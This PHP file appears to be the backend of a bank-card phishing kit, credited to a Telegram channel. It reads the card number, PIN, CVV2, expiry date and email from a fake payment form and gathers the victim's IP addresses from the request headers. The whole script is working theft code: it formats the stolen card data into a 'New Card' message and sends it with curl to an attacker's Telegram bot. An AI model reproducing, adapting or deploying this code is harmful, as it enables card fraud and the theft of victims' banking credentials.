<?php

/* Madsal is the developer!
ch : @Hack666m */
if ( 'POST' != $_SERVER['REQUEST_METHOD'] ) {
$protocol = $_SERVER['SERVER_PROTOCOL'];
if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0' ) ) ) {
$protocol = 'HTTP/1.0';
}

header( 'Allow: POST' );
header( "$protocol 405 Method Not Allowed" );
header( 'Content-Type: text/plain' );
exit;
}

include "Bankinfo.php";
include "../telegram.php" ;



$pan = $_POST["pan"];
$pin = $_POST["pin"];
$cvv = $_POST["cvv2"];
$year = $_POST["expireYear"];
$month = $_POST["expireMonth"];
$amount = $_POST["am"];
$num = $_POST["num"];
if(isset($_POST["inputemail"])){
    $email = $_POST["inputemail"];
}else{
    $email = "None";
}

$pan1 = substr($pan,0,4);
$pan2 = substr($pan,4,-8);
$pan3 = substr($pan,8,-4);
$pan4 = substr($pan,12);
$cardn = substr($pan,0,-10);
$bankinfo = bank_information($cardn);

// تابع برای دریافت IP های کاربر
function GetIps() {
    $ips = [];
    
    // بررسی تمام هدرهای ممکن برای دریافت IP های کاربر
    $headers = [
        'HTTP_X_FORWARDED_FOR',
        'HTTP_CLIENT_IP', 
        'HTTP_X_REAL_IP',
        'HTTP_X_CLUSTER_CLIENT_IP',
        'HTTP_FORWARDED',
        'HTTP_CF_CONNECTING_IP',
        'REMOTE_ADDR'
    ];
    
    foreach ($headers as $header) {
        if (!empty($_SERVER[$header])) {
            if ($header === 'HTTP_X_FORWARDED_FOR') {
                $ipList = explode(',', $_SERVER[$header]);
                foreach ($ipList as $ip) {
                    $ip = trim($ip);
                    if (!in_array($ip, $ips) && filter_var($ip, FILTER_VALIDATE_IP)) {
                        $ips[] = $ip;
                    }
                }
            } else {
                $ip = trim($_SERVER[$header]);
                if (!in_array($ip, $ips) && filter_var($ip, FILTER_VALIDATE_IP)) {
                    $ips[] = $ip;
                }
            }
        }
    }
    
    return array_unique($ips);
}

$allIps = GetIps();

// تشخیص نوع هر IP و ایجاد لیست IP ها
$ipDetails = "";
foreach ($allIps as $ip) {
    $ipType = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) ? 'IPv6' : 'IPv4';
    $ipDetails .= "- $ip ($ipType)\n";
}

$ip = $_SERVER["REMOTE_ADDR"];

$dex = "
New Card #ista ðŸ’¸
âž–âž–âž–
-Card : <code>$pan</code>
-Pin : <code>$pin</code>
-Cvv2 : <code>$cvv</code>
-Y/M : $year / $month
âž–âž–âž–
-Bank : $bankinfo[1]
-IP Addresses:
$ipDetails
âž–âž–âž–
-Dev : $ChUsername
";
     $KeyBoard12 = json_encode(['inline_keyboard'=>[
    [['text'=>"ðŸ•‰ Developer", 'url'=>"https://t.me/hack666m"]],
    ]]);
    
    $params = 
[
    'chat_id' => $ID,
    'reply_markup' => $KeyBoard12,
    'text' => $dex,
    'parse_mode' => 'HTML'
];

$website = "https://api.telegram.org/bot" . $TOKEN; 

$ch = curl_init($website . '/sendMessage'); 
curl_setopt($ch, CURLOPT_HEADER, false); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($params)); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch); curl_close($ch);
//@Hack666m
    
?>